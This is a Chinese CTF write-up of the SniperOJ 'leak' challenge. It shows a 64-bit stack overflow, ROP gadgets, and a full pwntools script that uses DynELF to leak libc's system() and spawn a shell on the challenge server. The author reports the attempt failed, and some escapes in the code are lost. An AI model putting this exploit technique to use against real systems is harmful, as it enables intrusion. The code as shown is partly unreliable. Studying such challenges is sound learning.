SniperOJ-leak-x86-64

参考:1.借助DynELF实现无libc的漏洞利用小结

       2.一步一步学ROP之linux_x64篇 - 蒸米

题目源码

#include <stdio.h>
#include <unistd.h>
#include <string.h>
void init(){
    setvbuf(stdout, NULL, _IOLBF, 0);
}
void welcome(){
	char *words = "Welcome to Sniperoj!
Dancing in shackles, Right?
";
	write(1, words, strlen(words));
}
void vuln(){
	char buffer[16] = {0};
	read(0, buffer, 0x80);
}
int main(){
    init();
    welcome();
    vuln();
	return 0;
}

题目是leak,提示是dynelf,pwntools里有个函数dynelf可以泄露内存任意地址至少一字节数据

linux64位下函数参数前六位是靠RDI, RSI, RDX, RCX, R8和 R9传递的,如果还有更多参数再依靠栈传递,这里需要寻找合适的gadgets进行rop.寻找gadgets的工具,我用的是ROPgadget,下载地址

ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master

找到两处可用gadgets

$ ROPgadget --binary leak --only "pop|ret"
============================================================
0x0000000000400733 : pop rdi ; ret
0x0000000000400731 : pop rsi ; pop r15 ; ret

没有找到类似pop rdx;ret的gadgets,这里先暂且不管,看看只靠两个参数能不能做下去。

先做些预备工作

elf = ELF('leak')
write_plt = p64(elf.symbols['write'])
start_addr = p64(elf.symbols['_start'])
read_plt = p64(elf.symbols['read'])
data_addr = p64(elf.symbols['__data_start'])
junk = "A" * (0x10 + 8)
#Io = process("./leak") 
Io = remote("pwn.sniperoj.cn", 30008)

再编写leak函数

def leak(addr):
    Io.recvuntil("Dancing in shackles, Right?
")
    payload = junk + p64(0x0000000000400733) + p64(1) + p64(0x0000000000400731) + p64(addr) + start_addr + write_plt + start_addr
    Io.send(payload)
    leaked = Io.recv(8)
    print "[%s] -> [%s] = [%s]" % (hex(addr), hex(u64(leaked)),  repr(leaked))
    return leaked

leak出system的地址

d = DynELF(leak, elf=ELF("leak"))
system_addr = d.lookup('system', 'libc')
print "[system()] -> [%s]" % (hex(system_addr))

将/bin/sh写入.data段

payload = junk + p64(0x0000000000400733) + p64(0) + p64(0x0000000000400731) + data_addr + start_addr + read_plt + start_addr
Io.send(payload)
Io.send("/bin/shx00")

调用system("/bin/sh")

payload = junk + p64(0x0000000000400733) + data_addr + p64(system_addr) + p64(0xFFFFFFFF)
Io.send(payload)

完整脚本如下

#!/usr/bin/env python
# coding:utf-8
from pwn import *

def read_output():
    Io.recvuntil("Dancing in shackles, Right?
")   

def leak(addr):
    read_output()
    payload = junk + p64(0x0000000000400733) + p64(1) + p64(0x0000000000400731) + p64(addr) + start_addr + write_plt + start_addr
    Io.send(payload)
    leaked = Io.recv(8)
    print "[%s] -> [%s] = [%s]" % (hex(addr), hex(u64(leaked)),  repr(leaked))
    return leaked

elf = ELF('leak')
write_plt = p64(elf.symbols['write'])
start_addr = p64(elf.symbols['_start'])
read_plt = p64(elf.symbols['read'])
data_addr = p64(elf.symbols['__data_start'])
junk = "A" * (0x10 + 8)

#Io = process("./leak") 
Io = remote("pwn.sniperoj.cn", 30008)

# leak the address of system()
d = DynELF(leak, elf=ELF("leak"))
system_addr = d.lookup('system', 'libc')
print "[system()] -> [%s]" % (hex(system_addr))           #system_addr 0x7f279f108390

# write /bin/sh
read_output()
payload = junk + p64(0x0000000000400733) + p64(0) + p64(0x0000000000400731) + data_addr + start_addr + read_plt + start_addr
Io.send(payload)

# send /bin/sh
Io.send("/bin/shx00")

read_output()
payload = junk + p64(0x0000000000400733) + data_addr + p64(system_addr) + p64(0xFFFFFFFF)
Io.send(payload)

# interactive()
Io.interactive()

利用通用gadgets进行rop又失败了,很伤心,原以为自己已经找到利用方法了,唉,我好菜

原文地址:https://www.cnblogs.com/elvirangel/p/6873607.html